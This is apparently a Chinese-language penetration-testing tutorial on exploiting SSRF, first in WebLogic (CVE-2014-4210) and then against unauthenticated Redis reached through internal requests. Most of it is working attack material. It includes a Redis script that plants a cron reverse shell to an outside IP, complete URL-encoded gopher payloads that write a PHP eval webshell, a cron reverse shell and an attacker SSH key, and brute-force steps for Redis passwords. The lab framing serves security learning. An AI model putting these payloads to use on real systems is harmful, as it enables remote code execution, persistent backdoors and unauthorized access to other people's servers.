利用SSRF渗透内网主机·上
利用WebLogic的SSRF漏洞探测内网信息
漏洞描述
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
CVE编号:CVE-2014-4210
影响范围:
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 10.0.2.0
环境搭建
下载vulhub:git clone https://github.com/vulhub/vulhub.git
进入目录:cd vulhub/weblogic/ssrf/
启动环境:docker-compose up -d
访问:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
出现以下页面,说明测试环境ok。
漏洞复现
开启Burp代理,提交表单

从返回页面的结果的报错上看,当提交表单的时候会访问下面这个URL,并做XMLSoap解析,这个错误就是我们SSRF漏洞产生的关键点

为了验证是否存在SSRF漏洞,我们将operator的值改为DNSLog生成的记录

在DNSLog中可以看到请求的内容,说明存在SSRF漏洞

探测内网存活IP
若ip不存在时返回如下信息(会一直请求该地址,直到超时)

若ip存在则返回如下信息

探测端口
若端口不开放返回如下信息

若端口开放返回如下信息(分两种情况)
若开放的端口为非Web端口

若开放的端口为Web端口(还分为请求类型是否为text/html)
text/html类型

非text/html类型

我们可以利用返回信息来进行内网探测
内网探测脚本编写
编写一个python脚本自动化探测内网的存活主机ip与开放端口
1 | #!/usr/bin/env python |

SSRF结合Redis未授权访问GetShell
漏洞描述
Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
在这里主要讲解SSRF的利用,所以就不对Redis的协议进行分析了,直接使用Exp进行利用。
之后会对Redis的漏洞进行深入学习。
常见redis反弹shell的bash脚本
1
2
3
4
5
6 redis-cli -h $1 -p $2 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
- flushall:删除所有数据库中的所有key。这行代码感觉不是很有必要。。。
- -x参数:从标准输入读取一个参数:
- 在redis的第0个数据库中添加key为1,value为
\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。- dir 数据库备份的文件放置路径
- Dbfilename 备份文件的文件名
漏洞利用
推荐使用Gopherus可以帮助我们直接生成gopher payload,以利用SSRF GetShell。
项目地址:https://github.com/tarunkant/Gopherus
写入WebShell
利用条件:
- redis 需要对网站中的目录有写权限
- 知道网站绝对路径
使用Gopherus生成payload:
1 | ./gopherus.py --exploit redis |

再对生成的payload进行URL编码,就是我们最终生成的payload

放入URL参数浏览器请求如下,成功执行Redis命令写入webshell。
1 | http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527hackme%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A |
成功写入WebShell


crontab 定时任务反弹 shell
利用条件:
- Redis需要使用root用户启用(不是通过service或systemctl启动)
- 这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
- 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行 - 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在
/var/spool/cron/<username>Ubuntu定时任务文件在
/var/spool/cron/crontabs/<username>Centos和Ubuntu均存在的(需要root权限)
/etc/crontabPS:高版本的redis默认启动是redis权限,故写这个文件是行不通的
使用gopher协议写入
使用Gopherus生成payload:
1 | ./gopherus.py --exploit redis |

再对生成的payload进行URL编码,就是我们最终生成的payload

放入URL参数浏览器请求如下,成功执行Redis命令,写入计划任务,执行反弹shell。
1 | http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252469%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520/dev/tcp/192.168.123.66/1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A |
成功在计划任务中写入反弹shell命令(每分钟执行一次)

在攻击机上使用nc启用监听nc -lvp 1234,等待一会成功反弹shell

使用dict协议写入
dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息。
协议格式:dict://<host>:<port>/<dict-path>
一般为:dict://<host>:<port>/info 探测端口应用信息
执行命令:dict://<host>:<port>/命令:参数 冒号相当于空格,在 redis 利用中,只能利用未授权访问的 redis
与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行。

其他的与 gopher 没有太大差别。
在 redis 未授权访问中,当传输命令时,dict 协议的话要一条一条的执行,而 gopher 协议执行一条命令就行了,所以一般 dict 协议只是当个备胎用。
而且在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码。
在这里使用了一个大佬写好的python脚本进行利用:
1 | #!/usr/bin/python |
从脚本的执行结果可以看出,dict 协议需要一条一条执行

写入成功

写入SSH公钥
利用条件:
- Redis需要使用root用户启用
通过在目标机器上写入 ssh 公钥,然后便可以通过 ssh 免密码登录目标机器。
生成ssh 公/私钥
1 | ssh-keygen -t rsa |
一直回车即可

可以在家目录的.ssh/下看到生成的结果,分别为私钥和公钥

未授权访问直接写
1 | Copyflushall |
然后通过ssh -i /root/.ssh/id_rsa root@192.168.123.66 即可免密登录远程机器
结合 SSRF
编写脚本将内容转换为 RESP 协议的格式
1 | #!/usr/bin/python |
执行脚本,放入URL参数浏览器请求如下
1 | http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524569%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQCz64S4uDZGCLcmvzAPllttoM8F2ou3gtVJKO41/zA1/v6iDds%252BuNUgaUKC7Ntx%252BHqDTB98Hbl8CmvVkWqvNd3D3lo1KF2qikNuel/Fx4inoi8T8ECGcXqUVkq8mB0sG0opbYTwNnFrwd4sY0eXD%252BhRmwfAfVPLbOGC8hwKPSckUghWm2DAQPSqQPC290CTDcz%252BBxDNAVhbxPH/de0depH6fCoCQOA3CtnabfFU8jVosfR4T2D80BlMtIzo/OsZxzUtUikcN7e1a/vjXy5YrMRAlZ6JxAHrkenhhPEqubpUdIr0vONHsjbfGBnh0T3SS/Tr/EWlTWuSSjF/L%252BMseqIj8ojN0/8EACmyqHWady0ZZNSXW2hNcAey7plp8ETMaXdPiXG1SuVriq/XmN/b80sovkTprHIzJzmaqa2NWNHwXgrtmVHhs7DkN8R6FjsiydzSRBLf9oDg4K6/1tS7TneYHGyp3aNCtmGnXi8TjILbUloPhRzxfHWVwhKfF%252BBTlC0%253D%2520root%2540Ulysses%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A/root/.ssh/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A |
可以看到在受害者的机器上成功写入攻击者的公钥

这样一来就可以使用ssh无密码远程登录了

SSRF暴力破解内网Redis弱口令
在内网redis需要密码的情况下,使用dict协议或者gopher协议登录。
使用dict协议暴力破解
在登录错误的情况下返回如下信息

在登录正确的情况下返回如下信息

自动化脚本编写(python3):
1 | import urllib.request |
使用gopher协议暴力破解
在登录错误的情况下返回如下信息

在登录正确的情况下返回如下信息

自动化脚本编写(python3):
1 | import requests |
注:若redis在受害者本地的服务器,可以直接使用file协议读取配置文件中的密码
常见的Redis配置文件路径如下:
- /etc/redis.conf
- /etc/redis/redis.conf
- /usr/local/redis/etc/redis.conf
- /opt/redis/ect/redis.conf